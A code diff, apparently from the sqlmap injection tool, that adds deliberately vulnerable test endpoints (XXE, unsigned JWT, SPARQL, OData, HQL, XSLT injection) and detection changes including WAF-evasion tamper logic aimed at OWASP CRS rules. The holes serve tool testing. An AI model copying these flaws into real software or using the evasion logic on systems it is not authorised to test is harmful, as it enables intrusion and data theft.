pred = value.split(marker, 1)[1][:-len(suffix)]
|
||||
return _sparql_predicate(pred)
|
||||
# numeric boundary: <base>) || (<PRED>) || (1=1
|
||||
if ") || (" in value and value.endswith(") || (1=1"):
|
||||
pred = value.split(") || (", 1)[1][:-len(") || (1=1")]
|
||||
return _sparql_predicate(pred)
|
||||
# a bare, unbalanced break-out (the error probe) trips the parser
|
||||
if value.count('"') % 2 or value.rstrip().endswith(("'", ")", ".")):
|
||||
raise _SparqlError("Parse error: Lexical error at line 1, column %d. Encountered: <EOF>" % (len(value) + 40))
|
||||
# the untouched original value simply matches its row
|
||||
return any(o == value for _s, p, o in SPARQL_TRIPLES if p.endswith("name"))
|
||||
|
||||
# --- OData endpoint (vulnerable $filter over a tiny in-memory entity set) --------------------------
|
||||
|
||||
class _ODataError(Exception):
|
||||
pass
|
||||
|
||||
# entities of the "Products" set. 'Secret' is readable via $filter yet never $select-ed, so a blind dump
|
||||
# recovers a property the endpoint does not otherwise expose.
|
||||
ODATA_ENTITIES = (
|
||||
{"Id": 1, "Name": "luther", "Secret": "S3CR3Tvalue"},
|
||||
{"Id": 2, "Name": "fluffy", "Secret": "hunter2"},
|
||||
{"Id": 3, "Name": "wu", "Secret": "letmein"},
|
||||
)
|
||||
_ODATA_FIELDS = ("Id", "Name", "Secret")
|
||||
|
||||
|
||||
def _odata_depths(expr):
|
||||
"""Paren depth after each character, IGNORING parens that sit inside a string literal (OData escapes
|
||||
an inner quote by doubling it). Counting them blind made this evaluator reject filters that a real
|
||||
OData service accepts - `substring(Name,0,1) eq '('` returned 400 here and 200 from ASP.NET Core -
|
||||
which would let a genuine client-side bug hide behind a target-side one."""
|
||||
|
||||
depths = []
|
||||
depth, inside, index = 0, False, 0
|
||||
while index < len(expr):
|
||||
ch = expr[index]
|
||||
if inside:
|
||||
if ch == "'":
|
||||
if expr[index:index + 2] == "''":
|
||||
depths.append(depth) # a doubled quote stays inside the literal
|
||||
index += 1
|
||||
else:
|
||||
inside = False
|
||||
elif ch == "'":
|
||||
inside = True
|
||||
elif ch == "(":
|
||||
depth += 1
|
||||
elif ch == ")":
|
||||
depth -= 1
|
||||
depths.append(depth)
|
||||
index += 1
|
||||
return depths
|
||||
|
||||
|
||||
def _odata_split(expr, sep):
|
||||
"""Split on `sep` at paren depth zero (so 'a and (b or c)' is not broken inside the parentheses)."""
|
||||
parts, buf = [], []
|
||||
for token in expr.split(sep):
|
||||
buf.append(token)
|
||||
chunk = sep.join(buf)
|
||||
depths = _odata_depths(chunk)
|
||||
if not depths or depths[-1] == 0:
|
||||
parts.append(chunk)
|
||||
buf = []
|
||||
if buf:
|
||||
parts.append(sep.join(buf))
|
||||
return parts
|
||||
|
||||
|
||||
def _odata_wrapped(expr):
|
||||
"""True when the whole expression is enclosed by one matching paren pair."""
|
||||
if not (expr.startswith("(") and expr.endswith(")")):
|
||||
return False
|
||||
depths = _odata_depths(expr)
|
||||
return depths[-1] == 0 and all(_ > 0 for _ in depths[:-1])
|
||||
|
||||
|
||||
def _odata_eval(entity, expr):
|
||||
"""Recursively evaluate an OData boolean expression for one entity ('or' lowest precedence, then
|
||||
'and', then a leaf atom), so parenthesised sub-expressions nest correctly."""
|
||||
expr = expr.strip()
|
||||
while _odata_wrapped(expr):
|
||||
expr = expr[1:-1].strip()
|
||||
ors = _odata_split(expr, " or ")
|
||||
if len(ors) > 1:
|
||||
return any(_odata_eval(entity, o) for o in ors)
|
||||
ands = _odata_split(expr, " and ")
|
||||
if len(ands) > 1:
|
||||
return all(_odata_eval(entity, a) for a in ands)
|
||||
return _odata_atom(entity, expr)
|
||||
|
||||
|
||||
def _odata_atom(entity, atom):
|
||||
"""Evaluate one leaf OData boolean atom against one entity, mirroring the shapes sqlmap emits. Raises
|
||||
_ODataError on an unknown property (a 400 surface)."""
|
||||
|
||||
atom = atom.strip()
|
||||
while _odata_wrapped(atom):
|
||||
atom = atom[1:-1].strip()
|
||||
|
||||
match = re.match(r"^length\('([^']*)'\) eq (\d+)$", atom)
|
||||
if match:
|
||||
return len(match.group(1)) == int(match.group(2))
|
||||
match = re.match(r"^startswith\('([^']*)','([^']*)'\)$", atom)
|
||||
if match:
|
||||
return match.group(1).startswith(match.group(2))
|
||||
match = re.match(r"^contains\('([^']*)','([^']*)'\)$", atom)
|
||||
if match:
|
||||
return match.group(2) in match.group(1)
|
||||
if atom.startswith("substringof("):
|
||||
raise _ODataError("substringof is not a v4 function")
|
||||
match = re.match(r"^'([^']*)' eq '([^']*)'$", atom)
|
||||
if match:
|
||||
return match.group(1) == match.group(2)
|
||||
match = re.match(r"^(\d+) eq (\d+)$", atom)
|
||||
if match:
|
||||
return match.group(1) == match.group(2)
|
||||
match = re.match(r"^(\w+) eq '([^']*)'$", atom) # <strprop> eq '<lit>'
|
||||
if match:
|
||||
if match.group(1) not in _ODATA_FIELDS:
|
||||
raise _ODataError("Could not find a property named '%s' on type 'Default.Product'." % match.group(1))
|
||||
return "%s" % entity.get(match.group(1)) == match.group(2)
|
||||
match = re.match(r"^(\w+) ne null$", atom) # existence probe
|
||||
if match:
|
||||
if match.group(1) not in _ODATA_FIELDS:
|
||||
raise _ODataError("Could not find a property named '%s' on type 'Default.Product'." % match.group(1))
|
||||
return entity.get(match.group(1)) is not None
|
||||
match = re.match(r"^(\w+) (eq|ge|gt|le|lt) (-?\d+)$", atom) # <intprop> <op> <int>
|
||||
if match:
|
||||
prop, op, num = match.group(1), match.group(2), int(match.group(3))
|
||||
if prop not in _ODATA_FIELDS:
|
||||
raise _ODataError("Could not find a property named '%s' on type 'Default.Product'." % prop)
|
||||
val = entity.get(prop)
|
||||
if not isinstance(val, int):
|
||||
return False
|
||||
return {"eq": val == num, "ge": val >= num, "gt": val > num, "le": val <= num, "lt": val < num}[op]
|
||||
match = re.match(r"^length\((\w+)\) (eq|ge) (\d+)$", atom) # length(<prop>) <op> N
|
||||
if match:
|
||||
prop, op, num = match.group(1), match.group(2), int(match.group(3))
|
||||
if prop not in _ODATA_FIELDS:
|
||||
raise _ODataError("Could not find a property named '%s' on type 'Default.Product'." % prop)
|
||||
length = len("%s" % entity.get(prop, ""))
|
||||
return length == num if op == "eq" else length >= num
|
||||
# substring(<prop>,pos,1) eq 'c' - an inner quote arrives DOUBLED, the way the OData spec escapes it
|
||||
match = re.match(r"^substring\((\w+),(\d+),1\) eq '(''|.)'$", atom)
|
||||
if match:
|
||||
prop, pos, ch = match.group(1), int(match.group(2)), match.group(3)
|
||||
ch = "'" if ch == "''" else ch
|
||||
if prop not in _ODATA_FIELDS:
|
||||
raise _ODataError("Could not find a property named '%s' on type 'Default.Product'." % prop)
|
||||
text = "%s" % entity.get(prop, "")
|
||||
return pos < len(text) and text[pos] == ch # 0-indexed, ordinal (case-sensitive)
|
||||
raise _ODataError("Syntax error at position 0 in '%s'." % atom)
|
||||
|
||||
|
||||
def odata_evaluate(name):
|
||||
"""Return the entities matched by $filter=Name eq '<name>'. A balanced break-out reduces to its
|
||||
injected predicate; an unbalanced string literal raises a Microsoft-OData-style parser error."""
|
||||
|
||||
expr = "Name eq '%s'" % name
|
||||
if expr.count("'") % 2:
|
||||
raise _ODataError("The query specified in the URI is not valid. There is an unterminated string "
|
||||
"literal at position 8 in '%s'." % expr)
|
||||
return [entity for entity in ODATA_ENTITIES if _odata_eval(entity, expr)]
|
||||
|
||||
# --- XPath endpoint (vulnerable search and login, backed by an in-memory XML document) ------------
|
||||
|
||||
XSLT_DOC = """<?xml version="1.0"?><catalog><item><name>luther</name><price>10</price></item>\
|
||||
<item><name>fluffy</name><price>20</price></item></catalog>"""
|
||||
|
||||
# The element slot: user input lands BETWEEN elements, so it can introduce whole XSLT instructions.
|
||||
XSLT_ELEMENT_SHEET = """<?xml version="1.0"?>
|
||||
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
|
||||
<xsl:output method="html"/><xsl:template match="/"><html><body><div>%s</div></body></html></xsl:template>
|
||||
</xsl:stylesheet>"""
|
||||
|
||||
# The value slot: user input lands INSIDE select="...", so it can only carry an XPath expression.
|
||||
XSLT_VALUE_SHEET = """<?xml version="1.0"?>
|
||||
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
|
||||
<xsl:output method="html"/><xsl:template match="/"><html><body><table>
|
||||
<xsl:for-each select="catalog/item"><xsl:sort select="%s"/><tr><td><xsl:value-of select="name"/></td></tr></xsl:for-each>
|
||||
</table></body></html></xsl:template>
|
||||
</xsl:stylesheet>"""
|
||||
|
||||
XPATH_XML = """<?xml version="1.0" encoding="UTF-8"?>
|
||||
<directory>
|
||||
<department name="IT Operations">
|
||||
@@ -301,6 +701,10 @@ _lock = None
|
||||
_server = None
|
||||
_alive = False
|
||||
_csrf_token = None
|
||||
_ratelimit_hits = 0
|
||||
|
||||
# number of initial hits to '/ratelimit' answered with 429 before it behaves normally
|
||||
RATELIMIT_INITIAL_429 = 1
|
||||
|
||||
def init(quiet=False):
|
||||
global _conn
|
||||
@@ -857,6 +1261,64 @@ class ReqHandler(BaseHTTPRequestHandler):
|
||||
self.wfile.write(b"<html><body>Request blocked: security policy violation (WAF)</body></html>")
|
||||
return
|
||||
|
||||
# rate-limit emulator ('/ratelimit'): the first hit(s) answer 429 with a 'Retry-After', then
|
||||
# it behaves like the default SQLi endpoint - so a client that honors the backoff and retries
|
||||
# eventually gets through (drives the adaptive rate-limit handling)
|
||||
if self.url == "/ratelimit":
|
||||
global _ratelimit_hits
|
||||
_ratelimit_hits += 1
|
||||
if _ratelimit_hits <= RATELIMIT_INITIAL_429:
|
||||
self.send_response(429)
|
||||
self.send_header("Retry-After", "0")
|
||||
self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING)
|
||||
self.send_header("Connection", "close")
|
||||
self.end_headers()
|
||||
self.wfile.write(b"<html><body>Too Many Requests</body></html>")
|
||||
return
|
||||
self.url = "/"
|
||||
|
||||
if self.url == "/xxe":
|
||||
self.send_response(OK)
|
||||
self.send_header("Content-type", "application/xml; charset=%s" % UNICODE_ENCODING)
|
||||
self.send_header("Connection", "close")
|
||||
self.end_headers()
|
||||
|
||||
body = getattr(self, "data", "") or ""
|
||||
try:
|
||||
from lxml import etree
|
||||
# VULNERABLE: a parser configured to load DTDs and resolve entities (incl.
|
||||
# external file:// general entities) - the textbook XXE misconfiguration.
|
||||
parser = etree.XMLParser(resolve_entities=True, load_dtd=True, no_network=True)
|
||||
root = etree.fromstring(body.encode(UNICODE_ENCODING), parser)
|
||||
output = "<result>%s</result>" % "".join(root.itertext()) # reflects expanded entities
|
||||
except Exception as ex:
|
||||
output = "<error>%s: %s</error>" % (type(ex).__name__, ex) # parser diagnostic (error-based tier)
|
||||
|
||||
self.wfile.write(output.encode(UNICODE_ENCODING, "ignore"))
|
||||
return
|
||||
|
||||
if self.url == "/jwt":
|
||||
self.send_response(OK)
|
||||
self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING)
|
||||
self.send_header("Connection", "close")
|
||||
self.end_headers()
|
||||
|
||||
parsed = _jwt_parse(self.params.get("session", ""))
|
||||
output = "<html><body>access denied. please sign in.</body></html>"
|
||||
if parsed:
|
||||
header, payload, _ = parsed
|
||||
kid = header.get("kid")
|
||||
if hasattr(kid, "count") and kid.count("'") % 2 == 1: # str/unicode (py2/py3), not an int/dict
|
||||
# VULNERABLE: 'kid' feeds a key-lookup query unsanitized -> a lone quote breaks it
|
||||
output = "<html><body>You have an error in your SQL syntax near '%s'</body></html>" % kid
|
||||
elif (header.get("alg") or "").lower() == "none":
|
||||
output = "<html><body>welcome back, %s. secret area.</body></html>" % payload.get("user") # VULN: unsigned accepted
|
||||
elif _jwt_forge(header, payload, JWT_SECRET) == self.params.get("session"):
|
||||
output = "<html><body>welcome back, %s. secret area.</body></html>" % payload.get("user")
|
||||
|
||||
self.wfile.write(output.encode(UNICODE_ENCODING, "ignore"))
|
||||
return
|
||||
|
||||
if self.url == "/csrf":
|
||||
if self.params.get("csrf_token") == _csrf_token:
|
||||
self.url = "/"
|
||||
@@ -967,6 +1429,101 @@ class ReqHandler(BaseHTTPRequestHandler):
|
||||
self.wfile.write(output.encode(UNICODE_ENCODING))
|
||||
return
|
||||
|
||||
if self.url == "/hql/search":
|
||||
self.send_response(OK)
|
||||
self.send_header("Content-type", "application/json; charset=%s" % UNICODE_ENCODING)
|
||||
self.send_header("Connection", "close")
|
||||
self.end_headers()
|
||||
|
||||
name = self.params.get("name", "")
|
||||
try:
|
||||
matched = hql_evaluate(name) # VULNERABLE: input concatenated into HQL
|
||||
output = json.dumps({"results": [HQL_RECORD] if matched else [], "count": 1 if matched else 0})
|
||||
except _HqlError as ex:
|
||||
output = json.dumps({"results": [], "count": 0, "error": str(ex)})
|
||||
|
||||
self.wfile.write(output.encode(UNICODE_ENCODING))
|
||||
return
|
||||
|
||||
if self.url == "/sparql/search":
|
||||
# VULNERABLE: the parameter is concatenated into a FILTER string literal of a SPARQL query,
|
||||
# SELECT ?name WHERE { ?p foaf:name ?name . FILTER(?name = "<q>") }. A broken-out FILTER
|
||||
# becomes an attacker-controlled boolean (boolean-based blind); a syntax break surfaces a
|
||||
# Jena-style parser error.
|
||||
q = self.params.get("q", "luther")
|
||||
try:
|
||||
matched = sparql_evaluate(q)
|
||||
rows = "".join("<li>%s</li>" % o for _s, p, o in SPARQL_TRIPLES
|
||||
if p.endswith("name") and matched)
|
||||
self.send_response(OK)
|
||||
self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING)
|
||||
self.send_header("Connection", "close")
|
||||
self.end_headers()
|
||||
self.wfile.write(("<html><body><ul>%s</ul></body></html>" % rows).encode(UNICODE_ENCODING))
|
||||
except _SparqlError as ex:
|
||||
self.send_response(INTERNAL_SERVER_ERROR)
|
||||
self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING)
|
||||
self.send_header("Connection", "close")
|
||||
self.end_headers()
|
||||
self.wfile.write(("<html><body><pre>%s</pre></body></html>" % str(ex)).encode(UNICODE_ENCODING))
|
||||
return
|
||||
|
||||
if self.url == "/odata/search":
|
||||
# VULNERABLE: the parameter is concatenated into an OData $filter string literal,
|
||||
# $filter=Name eq '<name>'. A broken-out filter becomes an attacker-controlled boolean
|
||||
# (boolean-based blind); an unbalanced literal surfaces a Microsoft-OData parser error (400).
|
||||
# The response only shows Id and Name (as if $select=Id,Name), yet 'Secret' stays reachable
|
||||
# through the injected filter - the property a blind dump recovers.
|
||||
name = self.params.get("name", "luther")
|
||||
try:
|
||||
matched = odata_evaluate(name)
|
||||
rows = "".join("<li>%s: %s</li>" % (e["Id"], e["Name"]) for e in matched)
|
||||
self.send_response(OK)
|
||||
self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING)
|
||||
self.send_header("Connection", "close")
|
||||
self.end_headers()
|
||||
self.wfile.write(("<html><body><ul>%s</ul></body></html>" % rows).encode(UNICODE_ENCODING))
|
||||
except _ODataError as ex:
|
||||
self.send_response(BAD_REQUEST)
|
||||
self.send_header("Content-type", "application/json; charset=%s" % UNICODE_ENCODING)
|
||||
self.send_header("Connection", "close")
|
||||
self.end_headers()
|
||||
self.wfile.write(json.dumps({"error": {"message": str(ex)}}).encode(UNICODE_ENCODING))
|
||||
return
|
||||
|
||||
if self.url == "/echo":
|
||||
# A pure reflector: no engine of any kind behind it, it only shows the parameter back. Every
|
||||
# non-SQL switch must stay silent here. A differential built on "the page changed" is
|
||||
# satisfied by reflection alone, which is how several engines reported this shape as
|
||||
# injectable - so this endpoint is the regression gate for that whole class.
|
||||
self.send_response(OK)
|
||||
self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING)
|
||||
self.send_header("Connection", "close")
|
||||
self.end_headers()
|
||||
self.wfile.write(("<html><body>you searched for: %s</body></html>" % self.params.get("q", "")).encode(UNICODE_ENCODING))
|
||||
return
|
||||
|
||||
if self.url in ("/xslt/element", "/xslt/value"):
|
||||
# VULNERABLE: user input is concatenated into a stylesheet which is then compiled and applied
|
||||
element = self.url.endswith("element")
|
||||
source = self.params.get("tpl" if element else "sort", "" if element else "name")
|
||||
try:
|
||||
from lxml import etree
|
||||
sheet = (XSLT_ELEMENT_SHEET if element else XSLT_VALUE_SHEET) % source
|
||||
transform = etree.XSLT(etree.fromstring(sheet.encode("utf-8")))
|
||||
output = str(transform(etree.fromstring(XSLT_DOC.encode("utf-8"))))
|
||||
code = OK
|
||||
except Exception as ex:
|
||||
output = "<html><body><h1>XSLT error</h1><pre>%s: %s</pre></body></html>" % (type(ex).__name__, ex)
|
||||
code = INTERNAL_SERVER_ERROR
|
||||
|
||||
self.send_response(code)
|
||||
self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING)
|
||||
self.send_header("Connection", "close")
|
||||
self.end_headers()
|
||||
self.wfile.write(output.encode(UNICODE_ENCODING))
|
||||
return
|
||||
|
||||
if self.url == "/xpath/search":
|
||||
self.send_response(OK)
|
||||
self.send_header("Content-type", "application/json; charset=%s" % UNICODE_ENCODING)
|
||||
@@ -1044,6 +1601,57 @@ class ReqHandler(BaseHTTPRequestHandler):
|
||||
self.wfile.write(output.encode(UNICODE_ENCODING))
|
||||
return
|
||||
|
||||
if self.url == "/fp":
|
||||
# False-positive battery traps (exercised on demand by '--fp-test'). Every trap is
|
||||
# deliberately NON-injectable but baits a specific FP defense; sqlmap must report "not
|
||||
# injectable" for all of them (each is paired, in FP_TESTS, with a real injectable twin).
|
||||
trap = self.params.get("trap", "reflect")
|
||||
idv = self.params.get("id", "1")
|
||||
|
||||
def _rnd(n=8):
|
||||
return "".join(random.choice("0123456789abcdef") for _ in range(n))
|
||||
|
||||
if trap == "intcast":
|
||||
# parameterized int lookup: id=1 -> row, non-int (e.g. "1 AND 1=1") -> empty. A boolean
|
||||
# payload yields a differential yet it is NOT SQLi -> the false-positive check must reject it.
|
||||
try:
|
||||
hit = int(idv) in (1, 2, 3)
|
||||
except ValueError:
|
||||
hit = False
|
||||
output = "<html><body><b>SQL results:</b><table border=\"1\">%s</table></body></html>" % ("<tr><td>%s</td><td>luther</td><td>blisset</td></tr>" % idv if hit else "")
|
||||
elif trap == "structrand":
|
||||
# heavy dynamic TEXT (defeats dynamic-content removal) + STABLE structure; id is not
|
||||
# reflected into the structure -> stresses the structure-aware comparison oracle.
|
||||
rows = "".join("<tr><td>%s</td><td>%s</td></tr>" % (_rnd(), _rnd()) for _ in range(3))
|
||||
output = ("<html><head><title>Report</title></head><body><div class=\"csrf\">%s</div>"
|
||||
"<nav class=\"top\">token %s</nav><table id=\"grid\" class=\"res\">%s</table>"
|
||||
"<div class=\"foot\">%s</div></body></html>" % (_rnd(), _rnd(), rows, _rnd()))
|
||||
elif trap == "acceptall":
|
||||
# 200 + identical content for EVERYTHING incl. garbage -> the reads-everything-true channel.
|
||||
output = "<html><body><b>OK</b> welcome to the portal</body></html>"
|
||||
elif trap == "reflect":
|
||||
# echoes the parameter verbatim (reflection) with no SQL sink.
|
||||
output = "<html><body>you searched for: %s</body></html>" % idv
|
||||
elif trap == "errors":
|
||||
# DB-error-looking text for any non-baseline input -> baits error-based detection.
|
||||
output = "<html><body>Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result</body></html>" if idv != "1" else "<html><body><b>SQL results:</b><table><tr><td>1</td><td>luther</td></tr></table></body></html>"
|
||||
elif trap == "lengthrand":
|
||||
# response length varies at random (not with the payload) -> baits length-based heuristics.
|
||||
output = "<html><body>ok %s</body></html>" % _rnd(random.choice([4, 40, 400]))
|
||||
elif trap == "slowrand":
|
||||
# random latency, uncorrelated with the payload -> baits time-based detection.
|
||||
time.sleep(random.choice([0, 0, 0, 1]))
|
||||
output = "<html><body>ok %s</body></html>" % _rnd()
|
||||
else:
|
||||
output = "<html><body>?</body></html>"
|
||||
|
||||
self.send_response(OK)
|
||||
self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING)
|
||||
self.send_header("Connection", "close")
|
||||
self.end_headers()
|
||||
self.wfile.write(output.encode(UNICODE_ENCODING))
|
||||
return
|
||||
|
||||
if self.url == '/':
|
||||
if not any(_ in self.params for _ in ("id", "query")):
|
||||
self.send_response(OK)
|
||||
|
||||
@@ -31,27 +31,44 @@ def action():
|
||||
if possible
|
||||
"""
|
||||
|
||||
# HTTP/2 timeless timing ('--timeless'): detection is done and the back-end DBMS is known, so engage
|
||||
# the oracle for this target's extraction (swaps the time-based vector for a tuned heavy one, so all
|
||||
# subsequent extraction reads bits by response order instead of delay). Guarded + calibrated - a no-op
|
||||
# unless '--timeless' is set and the target is usable; disengage() first clears any prior target's.
|
||||
from lib.request import timeless
|
||||
timeless.disengage()
|
||||
if not timeless.autoEngage(): # engages if '--timeless' was given and the target is usable
|
||||
timeless.hintTimeless() # otherwise nudge the user toward '--timeless' if the target fits
|
||||
|
||||
# First of all we have to identify the back-end database management
|
||||
# system to be able to go ahead with the injection
|
||||
# automatic WAF-bypass: if a WAF/IPS is present and the back-end DBMS is already indicated by the error
|
||||
# page or the heuristic checks, skip active fingerprinting (the WAF would just block its payloads
|
||||
# and flood the run with 403s) and assume that DBMS, so the user gets a usable result
|
||||
if kb.wafBypass and not conf.forceDbms:
|
||||
setHandler()
|
||||
|
||||
# automatic WAF-bypass: fingerprinting probes are kept off the WAF/IPS blacklists, so it is tried
|
||||
# first even behind a protection. Only if it comes back empty the back-end DBMS is assumed from
|
||||
# the error page or the heuristic checks, so that the user still gets a usable result
|
||||
if kb.wafBypass and not conf.forceDbms and not Backend.getIdentifiedDbms():
|
||||
fallback = Backend.getErrorParsedDBMSes() or ([kb.heuristicDbms] if kb.heuristicDbms else [])
|
||||
fallback = next((_ for _ in fallback if _ and _.lower() in SUPPORTED_DBMS), None)
|
||||
if fallback:
|
||||
logger.warning("skipping active back-end DBMS fingerprinting behind the WAF/IPS and assuming '%s' from error/heuristic detection" % fallback)
|
||||
logger.warning("active back-end DBMS fingerprinting did not get through the WAF/IPS. Assuming '%s' from error/heuristic detection" % fallback)
|
||||
conf.forceDbms = fallback
|
||||
|
||||
setHandler()
|
||||
setHandler()
|
||||
|
||||
# multi-bit blind ('--multi-bit'): the back-end is known now, so its bit arithmetic can be checked
|
||||
# before nudging the user towards a channel that reads several characters per request (no requests)
|
||||
from lib.techniques.blind import multibit
|
||||
multibit.hint()
|
||||
|
||||
if kb.wafBypass and Backend.getDbms(): # persist the assumed DBMS so a resumed run restores it instead of re-fingerprinting (and dead-ending) behind the WAF
|
||||
hashDBWrite(HASHDB_KEYS.DBMS, Backend.getDbms())
|
||||
|
||||
# automatic WAF-bypass: with MySQL behind the WAF, make data retrieval AND table enumeration survive a
|
||||
# libinjection-class WAF (e.g. OWASP CRS), verified end-to-end through ModSecurity/CRS:
|
||||
# * fingerprinting was skipped, so flag has_information_schema (modern MySQL >=5.0 always has it) -
|
||||
# otherwise enumeration wrongly assumes 'MySQL < 5.0' and bails with "no tables";
|
||||
# * flag has_information_schema (modern MySQL >=5.0 always has it) in case the DBMS was assumed
|
||||
# rather than fingerprinted, otherwise enumeration wrongly assumes 'MySQL < 5.0' and bails
|
||||
# with "no tables",
|
||||
# * 'blindbinary' reshapes the single-character read ORD(MID())->RIGHT(LEFT())>BINARY 0x.. (sheds the
|
||||
# ORD/MID function names scored by 942151/942190);
|
||||
# * 'infoschema2innodb' moves table enumeration off 'information_schema' (scored by 942140) onto
|
||||
@@ -68,7 +85,7 @@ def action():
|
||||
kb.tamperFunctions = (kb.tamperFunctions or []) + [function]
|
||||
logger.info("using tamper scripts 'blindbinary' and 'infoschema2innodb' so data retrieval and table enumeration can pass the WAF/IPS")
|
||||
|
||||
if not Backend.getDbms() or not conf.dbmsHandler:
|
||||
if (not Backend.getDbms() and not conf.esperanto) or not conf.dbmsHandler:
|
||||
htmlParsed = Format.getErrorParsedDBMSes()
|
||||
|
||||
errMsg = "sqlmap was not able to fingerprint the "
|
||||
|
||||
+166
-36
@@ -57,6 +57,7 @@ from lib.core.dicts import HEURISTIC_NULL_EVAL
|
||||
from lib.core.enums import DBMS
|
||||
from lib.core.enums import HASHDB_KEYS
|
||||
from lib.core.enums import HEURISTIC_TEST
|
||||
from lib.core.enums import POST_HINT
|
||||
from lib.core.enums import HTTP_HEADER
|
||||
from lib.core.enums import HTTPMETHOD
|
||||
from lib.core.enums import NOTE
|
||||
@@ -82,10 +83,15 @@ from lib.core.settings import FI_ERROR_REGEX
|
||||
from lib.core.settings import FORMAT_EXCEPTION_STRINGS
|
||||
from lib.core.settings import GRAPHQL_ERROR_REGEX
|
||||
from lib.core.settings import HEURISTIC_CHECK_ALPHABET
|
||||
from lib.core.settings import HQL_ERROR_REGEX
|
||||
from lib.core.settings import INFERENCE_EQUALS_CHAR
|
||||
from lib.core.settings import LDAP_ERROR_REGEX
|
||||
from lib.core.settings import ODATA_ERROR_REGEX
|
||||
from lib.core.settings import SPARQL_ERROR_REGEX
|
||||
from lib.core.settings import SSTI_ERROR_REGEX
|
||||
from lib.core.settings import XPATH_ERROR_REGEX
|
||||
from lib.core.settings import XSLT_ERROR_REGEX
|
||||
from lib.core.settings import XXE_ERROR_REGEX
|
||||
from lib.core.settings import IPS_WAF_CHECK_PAYLOAD
|
||||
from lib.core.settings import IPS_WAF_CHECK_RATIO
|
||||
from lib.core.settings import IPS_WAF_CHECK_TIMEOUT
|
||||
@@ -163,9 +169,11 @@ def checkSqlInjection(place, parameter, value):
|
||||
# keyword-free fallback: heuristicCheckDbms() above uses SELECT/quote payloads
|
||||
# and is skipped when the WAF/IPS is dropping requests; the operator-dialect
|
||||
# probes carry no SELECT/quote/schema name, so they can still narrow the DBMS in
|
||||
# that case (or when it was inconclusive), using the now-calibrated boolean oracle
|
||||
if not Backend.getIdentifiedDbms() and kb.heuristicDbms is None:
|
||||
kb.heuristicDbms = dialectCheckDbms(injection)
|
||||
# that case (or when it was inconclusive), using the now-calibrated boolean oracle.
|
||||
# It feeds the lower-confidence heuristicExtendedDbms (UNION FROM / handler hint),
|
||||
# deliberately NOT heuristicDbms, so it never drives reduceTests (skipping payloads)
|
||||
if not Backend.getIdentifiedDbms() and kb.heuristicDbms is None and kb.heuristicExtendedDbms is None:
|
||||
kb.heuristicExtendedDbms = dialectCheckDbms(injection)
|
||||
|
||||
# If the DBMS has already been fingerprinted (via DBMS-specific
|
||||
# error message, simple heuristic check or via DBMS-specific
|
||||
@@ -204,6 +212,10 @@ def checkSqlInjection(place, parameter, value):
|
||||
})
|
||||
|
||||
if stype == PAYLOAD.TECHNIQUE.UNION:
|
||||
if "char" not in test.request:
|
||||
logger.debug("skipping malformed UNION test '%s' because its request has no character" % title)
|
||||
continue
|
||||
|
||||
configUnion(test.request.char)
|
||||
|
||||
if "[CHAR]" in title:
|
||||
@@ -520,6 +532,7 @@ def checkSqlInjection(place, parameter, value):
|
||||
|
||||
# Useful to set kb.matchRatio at first based on False response content
|
||||
kb.matchRatio = None
|
||||
kb.trueLength = None
|
||||
kb.negativeLogic = (where == PAYLOAD.WHERE.NEGATIVE)
|
||||
suggestion = None
|
||||
Request.queryPage(genCmpPayload(), place, raise404=False)
|
||||
@@ -527,7 +540,7 @@ def checkSqlInjection(place, parameter, value):
|
||||
falseRawResponse = "%s%s" % (falseHeaders, falsePage)
|
||||
|
||||
# Checking if there is difference between current FALSE, original and heuristics page (i.e. not used parameter)
|
||||
if not any((kb.negativeLogic, conf.string, conf.notString, conf.code)):
|
||||
if not any((kb.negativeLogic, conf.string, conf.notString, conf.code, conf.lengths)):
|
||||
try:
|
||||
ratio = 1.0
|
||||
seqMatcher = getCurrentThreadData().seqMatcher
|
||||
@@ -547,6 +560,11 @@ def checkSqlInjection(place, parameter, value):
|
||||
truePage, trueHeaders, trueCode = threadData.lastComparisonPage or "", threadData.lastComparisonHeaders, threadData.lastComparisonCode
|
||||
trueRawResponse = "%s%s" % (trueHeaders, truePage)
|
||||
|
||||
if conf.lengths:
|
||||
# under NULL connection the body is absent, so take the length HEAD/Range reported
|
||||
kb.trueLength = threadData.lastComparisonPageLength if kb.nullConnection else len(truePage)
|
||||
trueResult = True
|
||||
|
||||
if trueResult and not (truePage == falsePage and not any((kb.nullConnection, conf.code))):
|
||||
# Perform the test's False request
|
||||
falseResult = Request.queryPage(genCmpPayload(), place, raise404=False)
|
||||
@@ -560,7 +578,7 @@ def checkSqlInjection(place, parameter, value):
|
||||
errorResult = Request.queryPage(errorPayload, place, raise404=False)
|
||||
if errorResult:
|
||||
continue
|
||||
elif kb.heuristicPage and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
|
||||
elif kb.heuristicPage and not any((conf.string, conf.notString, conf.regexp, conf.code, conf.lengths, kb.nullConnection)):
|
||||
_ = comparison(kb.heuristicPage, None, getRatioValue=True)
|
||||
if (_ or 0) > (kb.matchRatio or 0):
|
||||
kb.matchRatio = _
|
||||
@@ -572,7 +590,7 @@ def checkSqlInjection(place, parameter, value):
|
||||
|
||||
injectable = True
|
||||
|
||||
elif (threadData.lastComparisonRatio or 0) > UPPER_RATIO_BOUND and not any((conf.string, conf.notString, conf.regexp, conf.code, conf.titles, kb.nullConnection)):
|
||||
elif (threadData.lastComparisonRatio or 0) > UPPER_RATIO_BOUND and not any((conf.string, conf.notString, conf.regexp, conf.code, conf.lengths, conf.titles, kb.nullConnection)):
|
||||
originalSet = set(getFilteredPageContent(kb.pageTemplate, True, "\n").split("\n"))
|
||||
trueSet = set(getFilteredPageContent(truePage, True, "\n").split("\n"))
|
||||
falseSet = set(getFilteredPageContent(falsePage, True, "\n").split("\n"))
|
||||
@@ -610,7 +628,7 @@ def checkSqlInjection(place, parameter, value):
|
||||
injectable = False
|
||||
continue
|
||||
|
||||
